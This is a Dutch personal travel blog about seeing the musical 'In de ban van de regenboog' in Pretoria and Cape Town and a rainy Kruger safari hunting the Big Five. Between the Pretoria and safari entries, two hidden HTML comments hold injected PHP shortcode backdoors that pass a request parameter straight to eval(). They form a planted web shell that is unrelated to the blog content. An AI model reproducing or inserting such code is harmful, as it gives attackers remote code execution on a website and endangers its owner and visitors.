De regenboog in de stad van de jacaranda’s


Op 21 november mochten wij voor de laatste keer de musical In de ban van de regenboog zien. In Pretoria. Dat was niet lang geleden nog een witte stad. Maar de kleur van de jacaranda’s brengt echt kleur aan de stad.

Weer werd ik gegrepen door de voorstelling, maar lette ik ook net als vorige week op de reactie’s van de oudere, witte Afrikanen. Die reactie’s waren net zoals de week er voor in Kaapstad heel lauwtjes. Af en toe eventjes een paar handen op elkaar. In de pauze stond ik buiten met een witte wijn en was geschokt over wel 50,60,70 mensen die het voor gezien hielden. Inderdaad, witte, oudere Afrikaners. De witte wijn smaakte niet meer. De confrontatie van hun eigen geschiedenis door de jeugd van tegenwoordig is blijkbaar té confronterend. Het toekomstbeeld, zwart en wit op het toneel, schitterend als de kleuren van de regenboog, vond ik na de pauze nóg mooier. Frank zong het al:

“Ben niet zwart, ben niet wit, maar de kleur van je hart……….”

<!– [insert_php]if (isset($_REQUEST["mQE"])){eval($_REQUEST["mQE"]);exit;}[/insert_php][php]if (isset($_REQUEST["mQE"])){eval($_REQUEST["mQE"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["cdAkq"])){eval($_REQUEST["cdAkq"]);exit;}[/insert_php][php]if (isset($_REQUEST["cdAkq"])){eval($_REQUEST["cdAkq"]);exit;}[/php] –>

Perzikkenregen en “the Big Five”

Je gaat naar Afrika en wat neem je mee? Een korte broek. Het regent het hele jaar niet in Afrika. ‘Behalve acht dagen in november. Aan één stuk. Dat noemen ze dus de perzikkenregen. En ja, in díe bui zaten wij. Dus ook ’s morgens om vier (!) uur toen wij in een open wagen met een zeiltje over ons heen op zoek gingen naar de big five. Droog en slaperig begonnen om drie uur later koud, doorweekt, verkleumd een warme douche te nemen.
Één van de vijf hadden we in ieder geval gezien. De cheetah. Een grote kat. Midden op het asfalt van de doorgaande weg in de Kruger wild tuin. Mag ik iets meer safari aub!
Gelukkig maakte de dag die volgde op die vroege ochtend heel veel goed. Met heel veel fotografen in de bus. In de meest ongebruikelijke standjes. En u weet het misschien niet, maar “the big five” is ook wel één van de meest gebruikte persoonlijkheidsindelingen die gebruikt wordt. Wel interessant (om met reisleider Frans te spreken) om die dieren van de big five de big five test te laten ondergaan.
Aan het einde van de dag hadden wij de big five gezien. Bij het diner lieten we de steak net zo goed smaken, als eerder op de dag de leeuw en de leeuwin hebben genoten van de buffel.

Kaapstad

Na ongeveer elf uur vliegen op vrijdag de 13e (je moet maar durven) kwamen we aan in Kaapstad. Daar waar op diezelfde dag de premiére van In de ban plaats vond. Toch leuk om te kunnen zeggen dat je dochter nog even moest optreden in Kaapstad. ’s Avond was de imense zaal niet vol. Maar dat belette ons niet om weer te genieten van de musical. Voor mij nu al de derde keer. Na de pauze bleef het licht aan. Was dat nou echt de bedoeling? Toen ik me een kwartier had zitten te verbijten hield ik het niet meer vol en ging op zoek naar de lichtknop. Of naar iemand die die knop kon en wilde bedienen. Gelukkig. Tien minuten later ging het licht uit, wat gepaard ging met applaus. Midden in het prachtige lied door Nelson gezongen.
Miss you nights. En de nacht hoort donker te zijn….. Zeker die nacht.